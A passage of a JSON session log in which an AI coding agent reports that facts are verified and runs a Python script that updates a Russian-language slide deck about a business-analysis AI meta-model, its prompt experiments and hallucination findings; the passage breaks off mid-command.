\"b6ec008f-f94f-423f-b184-88b157448357\"\n[2026-09-29T07:50:44.273Z] [INFO] }\n[2026-09-29T07:50:44.418Z] [INFO] {\n[2026-09-29T07:50:44.418Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:50:44.418Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:50:44.418Z] [INFO]   \"estimated_tokens\": 185,\n[2026-09-29T07:50:44.418Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:50:44.418Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:50:44.418Z] [INFO]   \"uuid\": \"1b000e23-a24a-4da2-baa1-63f8a2714002\"\n[2026-09-29T07:50:44.418Z] [INFO] }\n[2026-09-29T07:50:44.430Z] [INFO] {\n[2026-09-29T07:50:44.430Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:50:44.430Z] [INFO]   \"message\": {\n[2026-09-29T07:50:44.430Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:50:44.430Z] [INFO]     \"id\": \"msg_011CfXNACev7AaDb4vCbeGoS\",\n[2026-09-29T07:50:44.430Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:50:44.430Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:50:44.430Z] [INFO]     \"content\": [\n[2026-09-29T07:50:44.430Z] [INFO]       {\n[2026-09-29T07:50:44.430Z] [INFO]         \"type\": \"thinking\",\n[2026-09-29T07:50:44.430Z] [INFO]         \"thinking\": \"\",\n[2026-09-29T07:50:44.430Z] [INFO]         \"signature\": \"CAQS2wUKEAgSGAI4AUIIdGhpbmtpbmcSDPHsUX1a/6XOo9CcdRoM8tSYjxoLIg1g3y3CIjA/bv41V6XC9exF4LZeKVgDMHcJGAWVADwbjCJ1NwB4p0JVXHkOme/OK9EiNDYHVz4q+ASnb+X/XlR58AmtIJa+w4GjhLCKDXg1C8bwwepPkqt5At4hORjZuZ7zvz/uMPwazZVUwdWDgxNMPPQwDZcIMiUnELmeEvpT5hiDextCBsIaN+LiclgViP4oSSPK8MWZw3OVe2shwgoZHbouDYo+7qHzG8Y+Jq/cvEZnB5Zqs/jP+5HMlg8PUozWm9piIFVXiHBd2Lm8wznjcgplcrjFrTXazCbe4F3z655abU4I2NuktNiTJo+ZGy8cxcj79+3d/1adlUShEmYPKUEVlYTPm3dOfm6NdpqLq5t0CHk9nxPTNmf1yuDCwurQN7KVNGFHN1PDiHEUfSkiRMxTlYogCNsk6jJ/lchjHtZAZEiO335PG7WbY2MCYMTf8PdUHLzGuO0LFq0hAlNi1+farSW5UWdOsgHVk7Iiequ7mmxXBHFZdbp7xURcg0U+UdSlq/L438jFs2V9Z5WO1s/6CoG7/FQHzBnMwSKi5GCW4aIa0pmLs76OH+FnKJ+yojBSFbT8fKzhCSYUi9UXf7FlkrMF3vk/Cc9Ag+d5gTTniEHmROHSivPP7kqwD6WYU74lSM+pUS1RBqgaxQcv9r++AOTiy6KIE53g+b9g98TsEuMY+fVEpTqVEivjVPK55hiQzlxy5zkQC5uUM0UEUC+VN27rAMYAToIYdPFfQwSVPFM1DA+WLdpIOlkci/QyijjznuTj29E4uKiEJnFW0Yz3uYnEQAC8N1vYxkGIU6Eq+Aeea9I5NrzAUHHipONlhuoOJ+10Rhw+bLKmicS9Bb/qlIHChIDM75a/gQw5LF8vDhgzkEY5k/G2T+VIWWA46oQpeQcTJmSVscpe5/KtVhgB\"\n[2026-09-29T07:50:44.430Z] [INFO]       }\n[2026-09-29T07:50:44.430Z] [INFO]     ],\n[2026-09-29T07:50:44.430Z] [INFO]     \"container\": null,\n[2026-09-29T07:50:44.430Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:50:44.430Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:50:44.430Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:50:44.430Z] [INFO]     \"usage\": {\n[2026-09-29T07:50:44.430Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:50:44.430Z] [INFO]       \"cache_creation_input_tokens\": 593,\n[2026-09-29T07:50:44.430Z] [INFO]       \"cache_read_input_tokens\": 94254,\n[2026-09-29T07:50:44.430Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:50:44.430Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T07:50:44.430Z] [INFO]         \"ephemeral_1h_input_tokens\": 593\n[2026-09-29T07:50:44.430Z] [INFO]       },\n[2026-09-29T07:50:44.430Z] [INFO]       \"output_tokens\": 8,\n[2026-09-29T07:50:44.430Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:50:44.430Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:50:44.430Z] [INFO]     },\n[2026-09-29T07:50:44.430Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T07:50:44.430Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T07:50:44.430Z] [INFO]     \"context_management\": null\n[2026-09-29T07:50:44.430Z] [INFO]   },\n[2026-09-29T07:50:44.430Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:50:44.430Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:50:44.430Z] [INFO]   \"uuid\": \"4618e5f3-ef61-4645-887f-a83b809db529\",\n[2026-09-29T07:50:44.430Z] [INFO]   \"timestamp\": \"2026-09-29T07:50:44.417Z\",\n[2026-09-29T07:50:44.430Z] [INFO]   \"request_id\": \"req_011CfXNACCNotG2DQoPDo5XS\"\n[2026-09-29T07:50:44.430Z] [INFO] }\n[2026-09-29T07:50:44.443Z] [INFO] {\n[2026-09-29T07:50:44.443Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:50:44.443Z] [INFO]   \"message\": {\n[2026-09-29T07:50:44.443Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:50:44.443Z] [INFO]     \"id\": \"msg_011CfXNACev7AaDb4vCbeGoS\",\n[2026-09-29T07:50:44.443Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:50:44.443Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:50:44.443Z] [INFO]     \"content\": [\n[2026-09-29T07:50:44.443Z] [INFO]       {\n[2026-09-29T07:50:44.443Z] [INFO]         \"type\": \"text\",\n[2026-09-29T07:50:44.443Z] [INFO]         \"text\": \"All the facts are verified. Applying the updates to the slides now.\"\n[2026-09-29T07:50:44.443Z] [INFO]       }\n[2026-09-29T07:50:44.443Z] [INFO]     ],\n[2026-09-29T07:50:44.443Z] [INFO]     \"container\": null,\n[2026-09-29T07:50:44.443Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:50:44.443Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:50:44.443Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:50:44.443Z] [INFO]     \"usage\": {\n[2026-09-29T07:50:44.443Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:50:44.443Z] [INFO]       \"cache_creation_input_tokens\": 593,\n[2026-09-29T07:50:44.443Z] [INFO]       \"cache_read_input_tokens\": 94254,\n[2026-09-29T07:50:44.443Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:50:44.443Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T07:50:44.443Z] [INFO]         \"ephemeral_1h_input_tokens\": 593\n[2026-09-29T07:50:44.443Z] [INFO]       },\n[2026-09-29T07:50:44.443Z] [INFO]       \"output_tokens\": 8,\n[2026-09-29T07:50:44.443Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:50:44.443Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:50:44.443Z] [INFO]     },\n[2026-09-29T07:50:44.443Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T07:50:44.443Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T07:50:44.443Z] [INFO]     \"context_management\": null\n[2026-09-29T07:50:44.443Z] [INFO]   },\n[2026-09-29T07:50:44.443Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:50:44.443Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:50:44.443Z] [INFO]   \"uuid\": \"5122f39c-538a-456b-9ced-e6dd7d20e1a0\",\n[2026-09-29T07:50:44.443Z] [INFO]   \"timestamp\": \"2026-09-29T07:50:44.419Z\",\n[2026-09-29T07:50:44.443Z] [INFO]   \"request_id\": \"req_011CfXNACCNotG2DQoPDo5XS\"\n[2026-09-29T07:50:44.443Z] [INFO] }\n[2026-09-29T07:51:06.850Z] [INFO] {\n[2026-09-29T07:51:06.850Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:51:06.850Z] [INFO]   \"message\": {\n[2026-09-29T07:51:06.850Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:51:06.850Z] [INFO]     \"id\": \"msg_011CfXNACev7AaDb4vCbeGoS\",\n[2026-09-29T07:51:06.850Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:51:06.850Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:51:06.850Z] [INFO]     \"content\": [\n[2026-09-29T07:51:06.850Z] [INFO]       {\n[2026-09-29T07:51:06.850Z] [INFO]         \"type\": \"tool_use\",\n[2026-09-29T07:51:06.850Z] [INFO]         \"id\": \"toolu_014xtVUv2an1KDVJwJkCaQo8\",\n[2026-09-29T07:51:06.850Z] [INFO]         \"name\": \"Bash\",\n[2026-09-29T07:51:06.850Z] [INFO]         \"input\": {\n[2026-09-29T07:51:06.850Z] [INFO]           \"command\": \"cd /tmp/gh-issue-solver-1790667776920/projects/ba-ai-process/docs/presentation && python3 - <<'EOF'\\np='2026-09-29-meta-model-presentation-slides.md'\\ns=open(p).read()\\ndef r(a,b):\\n    global s\\n    assert s.count(a)==1, a[:60]\\n    s=s.replace(a,b)\\nr(\\\"\\\"\\\"- \u041f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u044b\u0439 \u043b\u0430\u043d\u0434\u0448\u0430\u0444\u0442 \u0448\u0438\u0440\u043e\u043a: \u0412\u0410\u0422\u0421, \u043a\u043e\u043d\u0442\u0430\u043a\u0442-\u0446\u0435\u043d\u0442\u0440, API, \u043b\u0438\u0447\u043d\u044b\u0439 \u043a\u0430\u0431\u0438\u043d\u0435\u0442 \u2014\\n  42 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u044b\u0435 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438 Mango, \u0441\u043e\u043f\u043e\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0435 \u0441 42 \u0430\u043d\u0430\u043b\u043e\u0433\u0430\u043c\u0438 IT/\u0442\u0435\u043b\u0435\u043a\u043e\u043c.\\\"\\\"\\\",\\n\\\"\\\"\\\"- \u041f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u044b\u0439 \u043b\u0430\u043d\u0434\u0448\u0430\u0444\u0442 \u0448\u0438\u0440\u043e\u043a: \u0412\u0410\u0422\u0421, \u043a\u043e\u043d\u0442\u0430\u043a\u0442-\u0446\u0435\u043d\u0442\u0440, API, \u043b\u0438\u0447\u043d\u044b\u0439 \u043a\u0430\u0431\u0438\u043d\u0435\u0442 \u2014\\n  42 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u044b\u0435 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438 Mango \u0432 8 \u0434\u043e\u043c\u0435\u043d\u0430\u0445, \u043a\u0430\u0436\u0434\u0430\u044f \u0441\u043e\u043f\u043e\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u0430 \u0441\\n  \u043e\u0442\u0440\u0430\u0441\u043b\u0435\u0432\u044b\u043c\u0438 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0430\u043c\u0438.\\\"\\\"\\\")\\nr(\\\"\\\"\\\"> **\u041c\u0435\u0442\u0440\u0438\u043a\u0430:** 42 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u044b\u0435 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438, \u0443 \u043a\u0430\u0436\u0434\u043e\u0439 \u2014 \u0441\u0432\u043e\u0439 \u0441\u043b\u043e\u0432\u0430\u0440\u044c,\\n> \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u044f \u0438 \u0442\u0438\u043f\u043e\u0432\u044b\u0435 \u043e\u0448\u0438\u0431\u043a\u0438.\\\"\\\"\\\",\\n\\\"\\\"\\\"> **\u041c\u0435\u0442\u0440\u0438\u043a\u0430:** 42 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u044b\u0435 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438 \u0432 8 \u0434\u043e\u043c\u0435\u043d\u0430\u0445 \u2014 \u0443 \u043a\u0430\u0436\u0434\u043e\u0439 \u0441\u0432\u043e\u0439\\n> \u0441\u043b\u043e\u0432\u0430\u0440\u044c, \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u044f \u0438 \u0442\u0438\u043f\u043e\u0432\u044b\u0435 \u043e\u0448\u0438\u0431\u043a\u0438.\\\"\\\"\\\")\\nr(\\\"\\\"\\\"- \u041a\u043e\u043d\u0442\u0435\u043a\u0441\u0442 \u0441\u043c\u0435\u0449\u0430\u0435\u0442\u0441\u044f: \u0432 RUN-0063 \u043f\u044f\u0442\u044c \u0438\u0437 \u0448\u0435\u0441\u0442\u0438 FR \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u043b\u0438 \u0443\u0436\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0449\u0435\u0435\\n  \u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u0435, \u0430 \u043d\u0435 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0435.\\n\\n> **\u041c\u0435\u0442\u0440\u0438\u043a\u0430:** `M-1 = 0.0` \u2014 \u043d\u0438 \u043e\u0434\u0438\u043d \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0438\u0440\u0443\u044e\u0449\u0438\u0439 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442 \u043d\u0435 \u043f\u043e\u0432\u0442\u043e\u0440\u0438\u043b\\n> \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443 \u0434\u0440\u0443\u0433\u043e\u0433\u043e.\\\"\\\"\\\",\\n\\\"\\\"\\\"- \u041a\u043e\u043d\u0442\u0435\u043a\u0441\u0442 \u0441\u043c\u0435\u0449\u0430\u0435\u0442\u0441\u044f: \u0432 RUN-0063 \u043f\u044f\u0442\u044c \u0438\u0437 \u0448\u0435\u0441\u0442\u0438 FR \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u043b\u0438 \u0443\u0436\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0449\u0435\u0435\\n  \u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u0435, \u0430 \u043d\u0435 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0435.\\n- \u0418\u0442\u043e\u0433 \u0440\u0443\u0447\u043d\u043e\u0439 \u0441\u0431\u043e\u0440\u043a\u0438: \u0431\u0435\u0437 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0439 \u043f\u0440\u0430\u0432\u043a\u0438 \u043f\u0440\u0438\u043d\u044f\u0442\u043e 2 \u0438\u0437 32 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0441\\n  \u0432\u0435\u0440\u0434\u0438\u043a\u0442\u043e\u043c \u2014 6%.\\n\\n> **\u041c\u0435\u0442\u0440\u0438\u043a\u0430:** `M-1 = 0.0` \u2014 \u043d\u0438 \u043e\u0434\u0438\u043d \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0438\u0440\u0443\u044e\u0449\u0438\u0439 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442 \u043d\u0435 \u043f\u043e\u0432\u0442\u043e\u0440\u0438\u043b\\n> \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443 \u0434\u0440\u0443\u0433\u043e\u0433\u043e.\\\"\\\"\\\")\\nr(\\\"\\\"\\\"[\u0431\u0430\u0437\u043e\u0432\u0430\u044f \u043b\u0438\u043d\u0438\u044f \u043c\u0435\u0442\u0440\u0438\u043a](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/40-practice-and-cases.md).\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 4.\\\"\\\"\\\",\\n\\\"\\\"\\\"[\u0431\u0430\u0437\u043e\u0432\u0430\u044f \u043b\u0438\u043d\u0438\u044f \u043c\u0435\u0442\u0440\u0438\u043a](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/40-practice-and-cases.md),\\n[\u0431\u0430\u0437\u043e\u0432\u0430\u044f \u043b\u0438\u043d\u0438\u044f 6%](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/methodology-unification/40-practice-and-cases.md).\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 4.\\\"\\\"\\\")\\nold4_start=s.index(\\\"**\u042d\u043c\u043f\u0438\u0440\u0438\u043a\u0430.** \u042d\u0432\u043e\u043b\u044e\u0446\u0438\u044f\\\")\\nold4_end=s.index(\\\"**\u0412\u0438\u0437\u0443\u0430\u043b\u044c\u043d\u043e\u0435 \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e:** \u0448\u043a\u0430\u043b\u0430 \u0432\u0440\u0435\u043c\u0435\u043d\u0438\\\")\\ns=s[:old4_start]+\\\"\\\"\\\"**\u042d\u043c\u043f\u0438\u0440\u0438\u043a\u0430.** \u042d\u0432\u043e\u043b\u044e\u0446\u0438\u044f \u043e\u0442 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432 \u043a \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438.\\n\\n- **\u0418\u044e\u043d\u044c:** \u043e\u0434\u0438\u043d \u0447\u0435\u0440\u043d\u043e\u0432\u043e\u0439 \u043f\u0440\u043e\u043c\u043f\u0442 \u00ab\u0434\u043b\u044f \u0411\u0410\u00bb \u0440\u0430\u0437\u0434\u0435\u043b\u0451\u043d \u043d\u0430 23 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u044b\u0445 \u0444\u0430\u0439\u043b\u0430;\\n  \u043f\u043e\u0441\u043b\u0435 \u043f\u0435\u0440\u0432\u043e\u0439 \u0440\u0435\u0430\u043b\u044c\u043d\u043e\u0439 \u0441\u0435\u0441\u0441\u0438\u0438 \u043f\u0440\u0430\u0432\u043a\u0438 \u043e\u0442\u043a\u0430\u0442\u0438\u043b\u0438, \u043f\u0440\u043e\u043c\u043f\u0442 \u043c\u0435\u043d\u044f\u0435\u0442\u0441\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u0447\u0435\u0440\u0435\u0437\\n  \u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442.\\n- **\u0410\u0432\u0433\u0443\u0441\u0442:** 69 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u043d\u0430 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0437\u0430\u0434\u0430\u0447\u0430\u0445; \u043f\u0440\u0438\u0437\u043d\u0430\u043d\u043e, \u0447\u0442\u043e evals \u0438 \u044d\u0442\u0430\u043b\u043e\u043d\u043e\u0432\\n  \u043d\u0435\u0442. \u0421\u0445\u043e\u0434\u0441\u0442\u0432\u043e \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u043e\u0432 \u043e\u0434\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u043c\u043f\u0442\u0430 \u2014 0.077 \u043f\u043e \u0416\u0430\u043a\u043a\u0430\u0440\u0443.\\n- **\u0421\u0435\u043d\u0442\u044f\u0431\u0440\u044c:** \u0444\u043e\u0440\u0435\u043d\u0437\u0438\u043a\u0430 67 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u043d\u0430\u0448\u043b\u0430 \u0447\u0435\u0442\u044b\u0440\u0435 \u043a\u043b\u0430\u0441\u0441\u0430 \u043e\u0442\u043a\u0430\u0437\u043e\u0432; 10 \u0438\u0437 12\\n  \u043a\u043e\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0439 \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438 \u043d\u0435\u0442 \u043d\u0438 \u0432 \u043e\u0434\u043d\u043e\u043c \u0438\u0437 24 \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432.\\n- **\u0412\u044b\u0432\u043e\u0434:** \u043d\u0430\u0441\u043b\u0435\u0434\u0438\u0435 \u2014 \u0441\u0432\u0438\u0434\u0435\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e, \u0430 \u043d\u0435 \u043d\u043e\u0440\u043c\u0430. \u041c\u043e\u0434\u0435\u043b\u044c \u0441\u0442\u0440\u043e\u0438\u0442\u0441\u044f \u0437\u0430\u043d\u043e\u0432\u043e,\\n  \u043f\u0440\u043e\u0433\u043e\u043d\u044b \u0441\u043b\u0443\u0436\u0430\u0442 \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0439 \u0431\u0430\u0437\u043e\u0439.\\n\\n> **\u0418\u0437 \u0444\u043e\u0440\u0435\u043d\u0437\u0438\u043a\u0438:** \u00ab\u041b\u0435\u0447\u0435\u043d\u0438\u0435 \u0442\u043e\u043b\u044c\u043a\u043e prompt-\u043e\u043c \u044d\u0442\u0438 \u043e\u0442\u043a\u0430\u0437\u044b \u043d\u0435 \u0437\u0430\u043a\u0440\u044b\u0432\u0430\u0435\u0442. \u041d\u0443\u0436\u0435\u043d\\n> \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u0439 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u2026 \u0438 \u0442\u0440\u0438 \u0433\u0435\u0439\u0442\u0430: \u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439, \u0441\u0435\u043c\u0430\u043d\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0438\\n> \u0447\u0435\u043b\u043e\u0432\u0435\u0447\u0435\u0441\u043a\u0438\u0439\u00bb.\\n\\n\\\"\\\"\\\"+s[old4_end:]\\nr(\\\"\\\"\\\"[\u043a\u0430\u0442\u0430\u043b\u043e\u0433 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432](https://github.com/G-Ivan-A/mango_ba_prompts/tree/main/runs),\\\"\\\"\\\",\\n\\\"\\\"\\\"[\u043a\u0430\u0442\u0430\u043b\u043e\u0433 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432](https://github.com/G-Ivan-A/mango_ba_prompts/tree/main/runs),\\n[\u0436\u0443\u0440\u043d\u0430\u043b \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0439 `mango_ba_prompts`](https://github.com/G-Ivan-A/mango_ba_prompts/blob/main/CHANGELOG.md),\\n[\u0440\u0430\u0437\u0431\u043e\u0440 \u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442\u0430 1027](https://github.com/G-Ivan-A/mango_ba_prompts/blob/main/docs/analysis/experiment-1027-analysis.md),\\n[\u0432\u0445\u043e\u0434\u044b \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438 \u0438 \u0416\u0430\u043a\u043a\u0430\u0440 0.077](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-09-08-meta-model-inputs-facts.md),\\\"\\\"\\\")\\nr(\\\"\\\"\\\"[ADR-013: \u043e\u0442\u043a\u0430\u0437 \u043e\u0442 \u0440\u0435\u0436\u0438\u043c\u043e\u0432](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/docs/adr/2026-09-adr-013-deprecate-run-modes.md).\\\"\\\"\\\",\\n\\\"\\\"\\\"[ADR-013: \u043e\u0442\u043a\u0430\u0437 \u043e\u0442 \u0440\u0435\u0436\u0438\u043c\u043e\u0432](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/docs/adr/2026-09-adr-013-run-modes-deprecation.md),\\n[\u0444\u043e\u0440\u0435\u043d\u0437\u0438\u043a\u0430 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-23-requirements-run-forensics.md).\\\"\\\"\\\")\\nr(\\\"\\\"\\\"- **\u0413\u0438\u043f\u043e\u0442\u0435\u0437\u0430:** \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u0430\u044f \u0440\u0430\u0431\u043e\u0442\u0430 \u0411\u0410 \u043f\u043b\u043e\u0445\u043e \u043f\u043e\u0434\u0434\u0430\u0451\u0442\u0441\u044f \u043f\u0440\u044f\u043c\u043e\u0439 \u0433\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u0438.\\n  \u041e\u0434\u043d\u0438\u043c \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u043c \u0418\u0418 \u043f\u0438\u0448\u0435\u0442 \u043f\u0440\u0430\u0432\u0434\u043e\u043f\u043e\u0434\u043e\u0431\u043d\u044b\u0439 \u0442\u0435\u043a\u0441\u0442, \u0430 \u043d\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c\u043e\u0435 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0435.\\\"\\\"\\\",\\n\\\"\\\"\\\"- **\u0413\u0438\u043f\u043e\u0442\u0435\u0437\u0430:** \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u0430\u044f \u0440\u0430\u0431\u043e\u0442\u0430 \u0411\u0410 \u043f\u043b\u043e\u0445\u043e \u043f\u043e\u0434\u0434\u0430\u0451\u0442\u0441\u044f \u043f\u0440\u044f\u043c\u043e\u0439 \u0433\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u0438.\\n  \u0414\u0430\u0436\u0435 \u0441\u0442\u0440\u043e\u0433\u0438\u0439 \u043f\u043e\u0448\u0430\u0433\u043e\u0432\u044b\u0439 \u043f\u0440\u043e\u043c\u043f\u0442 \u0434\u0430\u0451\u0442 \u043f\u0440\u0430\u0432\u0434\u043e\u043f\u043e\u0434\u043e\u0431\u043d\u044b\u0439 \u0442\u0435\u043a\u0441\u0442, \u0430 \u043d\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c\u043e\u0435\\n  \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0435.\\\"\\\"\\\")\\nr(\\\"\\\"\\\"> **\u0414\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e \u043d\u0430 \u043f\u0440\u043e\u0433\u043e\u043d\u0430\u0445:** RUN-0059 \u043e\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u043b\u0441\u044f \u0432\u043c\u0435\u0441\u0442\u043e \u0432\u044b\u0434\u0443\u043c\u044b\u0432\u0430\u043d\u0438\u044f\\n> endpoint'\u043e\u0432; RUN-0060 \u0434\u0430\u043b 101 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044e \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043c\u044b\u0435 \u0441\u0441\u044b\u043b\u043a\u0438 \u043d\u0430\\n> \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a.\\\"\\\"\\\",\\n\\\"\\\"\\\"> **\u0413\u0438\u043f\u043e\u0442\u0435\u0437\u0430 \u043d\u0430 \u043f\u0440\u043e\u0433\u043e\u043d\u0430\u0445:** RUN-0018 \u2014 \u043f\u0440\u043e\u043c\u043f\u0442 \u0438\u0437 8 \u0448\u0430\u0433\u043e\u0432 \u0441 \u0441\u0430\u043c\u043e\u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430\u043c\u0438,\\n> 8 \u0433\u0430\u043b\u043b\u044e\u0446\u0438\u043d\u0430\u0446\u0438\u0439, \u043e\u0434\u043d\u0430 \u0434\u043e\u0448\u043b\u0430 \u0434\u043e \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0430: \u00ab\u041c\u0435\u0445\u0430\u043d\u0438\u043a\u0430 \u043f\u0440\u043e\u043c\u043f\u0442\u0430 \u0441\u043e\u0431\u043b\u044e\u0434\u0435\u043d\u0430,\\n> \u0434\u043e\u0441\u0442\u043e\u0432\u0435\u0440\u043d\u043e\u0441\u0442\u044c \u0444\u0430\u043a\u0442\u043e\u0432 \u043d\u0435 \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0430\u00bb. RUN-0059 \u0441 fail-closed 